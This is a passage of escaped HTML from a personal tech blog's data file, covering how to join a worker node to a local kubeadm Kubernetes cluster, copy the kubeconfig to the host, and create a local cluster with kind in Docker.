\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow copy that command and run it with \u003ccode\u003esudo\u003c/code\u003e on the worker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7:6443\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAfter this completes it’ll take a minute or two for everything to be synced up but if you go\nback to the master node you should have 2 ready nodes now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e46\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e79\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eAccessing the cluster outside of the VMs!\u003c/h2\u003e\n\u003cp\u003eNow the final part is to get the \u003ccode\u003eadmin.conf\u003c/code\u003e as a kubeconfig on your machine so you can control\nit from outside of the cluster.   To do this we can use scp\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etransfer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane:/home/ubuntu/.kube/config\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocal.config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNormally kubernetes configuration is in ~/.kube/config but I like to maint a separate file for\neach cluster and then I set the \u003ccode\u003eKUBECONFIG\u003c/code\u003e env var to access it.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eKUBECONFIG=local.config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e56\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","category":"Kubernetes","date":"2022-04-16T19:00:00-05:00","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kubeadm"},{"id":["2023","local_k8s_with_kind"],"path":"2023/local_k8s_with_kind","contentHtml":"\u003cp\u003ePreviously I \u003ca href=\"/blog/2022/local_kubeadm_cluster\"\u003eshowed\u003c/a\u003e how to run kubernetes\nlocally with \u003ccode\u003ekubeadm\u003c/code\u003e and VMs but sometimes that is overkill so I wanted to\nshow how to run \u003ca href=\"https://kind.sigs.k8s.io/\"\u003ekind\u003c/a\u003e which is \"kuberetes in\ndocker\".\u003c/p\u003e\n\u003ch1\u003eCreating your first cluster\u003c/h1\u003e\n\u003cp\u003ekind is a very flexible way to run kubernetes locally and allows you to run\nsingle node or multinode clusters while having the flexibility to use all\nthe features of kubernetes success as ingress.\u003c/p\u003e\n\u003cp\u003eTo create your first cluster it is as simple as running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCreating\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eEnsuring\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (kindest/node:v1.27.3) 🖼 \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePreparing\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e📦\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eWriting\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfiguration\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e📜\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eStarting\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🕹️\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eInstalling\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCNI\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🔌\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e✓\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eInstalling\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eStorageClass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e💾\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eSet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"kind-kind\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eYou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enow\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euse\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eyour\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewith:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecluster-info\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--context\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-kind\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eHave\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ea\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003equestion,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebug,\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efeature\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erequest?\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLet\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eus\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eknow!\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://kind.sigs.k8s.io/#community\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e🙂\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou now have a functioning kubernetes cluster and you\ncan view what it created:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ek\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enode\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekind-control-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em26s\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.27.3\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou can also verify that it is running inside docker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edocker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eps\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eID\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIMAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCOMMAND\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCREATED\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePORTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNAMES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e1c3ba74dc29b\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekindest/node:v1.27.3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/usr/local/bin/entr…\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eago\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eminutes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e127.0\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.0.1:59327\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e-\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e6443/tcp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekind-control-plane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch1\u003eMaking the cluster useful\u003c/h1\u003e\n\u003cp\u003eThere are a few things you'll notice with the command we ran originally:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eIt grabbed the latest kubernetes version available\u003c/li\u003e\n\u003cli\u003eIt is running a single node cluster\u003c/li\u003e\n\u003cli\u003eNo ingress available\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLuckily kind makes it really easy to customize your local cluster to be what\nyou want it to be by using a \u003ccode\u003eYAML\u003c/code\u003e configuration.\u003c/p\u003e\n\u003cp\u003eCreate the configuration:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eCluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: 